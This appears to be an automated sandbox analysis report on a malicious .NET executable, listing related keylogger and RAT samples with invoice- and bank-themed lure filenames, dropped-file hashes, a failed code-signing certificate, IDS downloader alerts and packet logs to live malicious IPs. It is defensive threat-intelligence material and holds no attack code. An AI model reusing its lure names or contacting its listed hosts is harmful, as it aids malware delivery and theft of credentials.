	https://storage.googleapis.com/inbound-mail-attachments-prod/0cbecb77-b573-4b3b-8c97-8b461d262d51?GoogleAccessId=distribution-controller-prod@inbound-mail-attachments.iam.gserviceaccount.com&Expires=1758806989&Signature=teNXGJRcW9uuEoVVvD0bLb%2BTGBorxpSu89OlgLR0AZpo8aoMl3JFsBDoXmLnj9QMk%2BAPu8iGsKTPrT4i0XSxxzRmtCLdsbDi23%2FFHfN4OpU3mOnUXtbZ81e7h5Ax%2FIygnxvogL7iGUXrqQUBZEnVkPmXcpAMmBTX7%2Bj4kVf57xBQo4WA9yGdv5Df4b9nDGZMXEYZVxWjPtOk4%2FXapMoV5bYJLgpB%2BR%2F1LUE0IwT1d3wuv1q6TONtaWwducy4mc1%2FJvGqxFuxuW9Y6Ojq%2B7a%2FqCW4DaFdd42O6ViY63C8G7dPbTe9LtxhwHcAk9xg3n5kXh2Z75tDAkK2Ak5mKneP6g%3D%3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://t.co/gYSeG2q7l2	Get hash	malicious	Unknown	Browse	104.18.95.41
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
ORACLE-BMC-31898US	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Payment Slip.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	http://ec44d1ee.freyy.pages.dev/Zimbra%20Web%20Client%20Sign%20In/	Get hash	malicious	Unknown	Browse	147.154.16.196
	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
M247GB	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	91.202.233.169
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	91.202.233.158
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	91.202.233.158
	SecuriteInfo.com.Linux.Siggen.9999.31454.15725.elf	Get hash	malicious	Unknown	Browse	158.46.140.169
	BNE400266900B - RLS SO# W317pdf.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	BNE400266900A - BL NO.BNE400266900.pdf.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1wD-DOvNLKuM60BZj5TLzFjKI87o3EE-OVAmvFF0fxPk/preview?usp=sharing	Get hash	malicious	Unknown	Browse	188.114.96.3
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Packed2.48025.4038.12608.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.353332853270839
Encrypted:	false
SSDEEP:	24:ML9E4KiE4Ko84qXKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKiHKoviYHKh3oPtHo6hAHKzeR
MD5:	A4AF0F36EC4E0C69DC0F860C891E8BBE
SHA1:	28DD81A1EDDF71CBCBF86DA986E047279EF097CD
SHA-256:	B038D4342E4DD96217BD90CFE32581FCCB381C5C2E6FF257CD32854F840D1FDE
SHA-512:	A675D3E9DB5BDD325A22E82C6BCDBD5409D7A34453DAAEB0E37206BE982C388547E1BDF22DC70393C69D0CE55635E2364502572C3AD2E6753A56A5C3893F6D69
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e

C:\Users\user\AppData\Roaming\ijohw.exe

Download File

Process:	C:\Users\user\Desktop\Ref_336210627.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	183928
Entropy (8bit):	7.682325024221279
Encrypted:	false
SSDEEP:	3072:EuV8gCfET/JXYoqbo81ZvFe3sf8Y1DXylHyoWmbdyFQgrqyYTXrDD62zU/s:EWIf4XYtz1ZvFe3sf1XylSioFgTjh9
MD5:	BD22F0C99670C51675EBB91843DB7181
SHA1:	8D290FF02196024B6AE7A564172A29E73E00DE7D
SHA-256:	8921E9E55861C043B028CEE713316EFD923AFF62FCA9ABB2E7CC7EB3092063E3
SHA-512:	255968A80A157BD6E37BB780CF69849C2DC829830D1BC0AE011B70BE5BEF888B3A7D6590A384E3456DBEB43FDCEDF7DC09F7C753806D87973CA154659AFE7B91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f................................ ........@.. ....................................`.................................x...W.......................x............................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........Z...D..........XT...............................................0..U....... ...[(....s......... ...[(....s......... ...[(....s......... ...[(....s......... ...[(....s......... ...[(....s......... H..[(....s......... \..[(....s......... l..[(....s......... t..[(....s......... ...[(....s......... ...[(....s(........ ..[(....s......... 2..[(....s......... ...[(....s......... ...[(....s......... ...[(....s............:.(......}.....B ...[(....s....z...:.{......o....*.

C:\Users\user\AppData\Roaming\ijohw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Ref_336210627.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.682325024221279
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ref_336210627.exe
File size:	183'928 bytes
MD5:	bd22f0c99670c51675ebb91843db7181
SHA1:	8d290ff02196024b6ae7a564172a29e73e00de7d
SHA256:	8921e9e55861c043b028cee713316efd923aff62fca9abb2e7cc7eb3092063e3
SHA512:	255968a80a157bd6e37bb780cf69849c2dc829830d1bc0ae011b70be5bef888b3a7d6590a384e3456dbeb43fdcedf7dc09f7c753806d87973ca154659afe7b91
SSDEEP:	3072:EuV8gCfET/JXYoqbo81ZvFe3sf8Y1DXylHyoWmbdyFQgrqyYTXrDD62zU/s:EWIf4XYtz1ZvFe3sf1XylSioFgTjh9
TLSH:	0B04F20A5FA85747CB8D987E68C3A74117B6B633EC83E72777B2E1A424017C70E11A67
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................`................................

File Icon


Icon Hash:	a931a7a48cb6a1ac

Static PE Info

General

Entrypoint:	0x409fd2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F4A1CF [Wed Sep 25 23:50:39 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/10/2023 10:33:01 19/10/2024 10:33:01
Subject Chain	CN=Helpfeel Inc, OU=\u958b\u767a\u90e8, O=Helpfeel Inc, STREET=110-16 Goshohachiman-cho, L="Kyoto-shi, Kamigyo-ku", S=Kyoto, C=JP, OID.1.3.6.1.4.1.311.60.2.1.3=JP, SERIALNUMBER=1300-01-068185, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	0D966BC363CD56690E80EE36566E3C7B
Thumbprint SHA-1:	A955D2CBD3F7D394053A3C5219A93AF13917EA0D
Thumbprint SHA-256:	2362CABC8423B1EE01F2DE0F40197E509F8FA6DCF631E687EDB44792B241E526
Serial:	138A5335DB02BAFDC71DC47A

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add eax, dword ptr [eax]
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax+0000000Eh], al
dec eax
add byte ptr [eax], al
adc byte ptr [eax], 00000000h
add byte ptr [eax], al
pushad
add byte ptr [eax], al
sbb byte ptr [eax], 00000000h
add byte ptr [eax], al
js 00007FF56C824E02h
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add dword ptr [eax], eax
add byte ptr [eax], al
nop
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [edi+00h], bh
add byte ptr [eax+00800000h], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add dword ptr [eax], eax
add byte ptr [eax], al
rol byte ptr [eax], 00000000h
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add dword ptr [eax], eax
add byte ptr [eax], al
fadd dword ptr [eax]
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9f78	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x21ac0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2a000	0x2e78
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7fd8	0x8000	4df074e693fbce2eb2cd49f15de1549e	False	0.512725830078125	data	5.970195577368978	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x21ac0	0x21c00	8d7ae16b6495ade58a394e1118b73046	False	0.9843822337962963	data	7.901880885452328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0xc	0x200	9af214d2645379c4b34c515d1d74e146	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa130	0x213fe	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	0.9929143108891989
RT_GROUP_ICON	0x2b530	0x14	data	1.1
RT_VERSION	0x2b544	0x3c8	data	0.41838842975206614
RT_MANIFEST	0x2b90c	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators	0.5642201834862385

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T12:11:57.665972+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.4	49732	TCP
2024-09-26T12:11:57.665972+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.4	49732	TCP
2024-09-26T12:12:11.910623+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.130.0	80	TCP
2024-09-26T12:12:12.754472+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.130.0	80	TCP
2024-09-26T12:12:13.312622+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	188.114.96.3	443	TCP
2024-09-26T12:12:14.004379+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49736	193.122.130.0	80	TCP
2024-09-26T12:12:14.917912+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	188.114.96.3	443	TCP
2024-09-26T12:12:15.863776+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.130.0	80	TCP
2024-09-26T12:12:16.586360+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	443	TCP
2024-09-26T12:12:17.221140+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49744	193.122.130.0	80	TCP
2024-09-26T12:12:20.422221+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	188.114.96.3	443	TCP
2024-09-26T12:12:21.561124+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.4	49753	TCP
2024-09-26T12:12:21.561124+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.4	49753	TCP
2024-09-26T12:12:29.579592+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	172.86.66.70	80	192.168.2.4	49755	TCP
2024-09-26T12:12:29.579592+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	172.86.66.70	80	192.168.2.4	49755	TCP
2024-09-26T12:12:34.973215+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49756	193.122.130.0	80	TCP
2024-09-26T12:12:35.754433+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49756	193.122.130.0	80	TCP
2024-09-26T12:12:36.297858+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	188.114.96.3	443	TCP
2024-09-26T12:12:36.832585+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49759	193.122.130.0	80	TCP
2024-09-26T12:12:37.532679+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	188.114.96.3	443	TCP
2024-09-26T12:12:39.925577+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49764	188.114.96.3	443	TCP
2024-09-26T12:12:43.266691+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	188.114.96.3	443	TCP
2024-09-26T12:12:43.404898+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49771	193.122.130.0	80	TCP
2024-09-26T12:12:44.270078+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49771	193.122.130.0	80	TCP
2024-09-26T12:12:44.843288+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49773	188.114.96.3	443	TCP
2024-09-26T12:12:45.426325+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49774	193.122.130.0	80	TCP
2024-09-26T12:12:46.009457+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	188.114.96.3	443	TCP
2024-09-26T12:12:46.551358+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49776	193.122.130.0	80	TCP
2024-09-26T12:12:48.175631+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49779	188.114.96.3	443	TCP
2024-09-26T12:12:49.602260+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 12:11:56.831605911 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:56.837007999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:56.837132931 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:56.837771893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:56.842550993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488774061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488799095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488815069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488838911 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488856077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488873959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488894939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488890886 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.488924026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488979101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488996029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.488996983 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.488997936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.488997936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.489051104 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.493902922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.493956089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.493973970 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.494019032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.535651922 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.577194929 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.577228069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.577255011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.577281952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.577296972 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.577363968 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.581955910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.581979036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.581994057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.582010031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.582029104 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.582062006 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.586743116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.586759090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.586802959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.586817980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.586833000 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.586833954 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.586878061 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.591485977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.591501951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.591517925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.591535091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.591543913 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.591551065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.591587067 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.591619015 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.596230984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.596262932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.596277952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.596293926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.596304893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.596339941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.600951910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.600970030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.600986004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.601001024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.601134062 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.665971994 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.665997982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.666014910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.666079044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.666111946 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.666160107 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.671004057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.671029091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.671045065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.671060085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.671231985 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.675760031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.675785065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.675800085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.675815105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.675828934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.675862074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.675899982 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:57.680479050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.680495977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.680519104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.680535078 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:57.680538893 CEST	49732	80	192.168.2.4	172.86.66.70
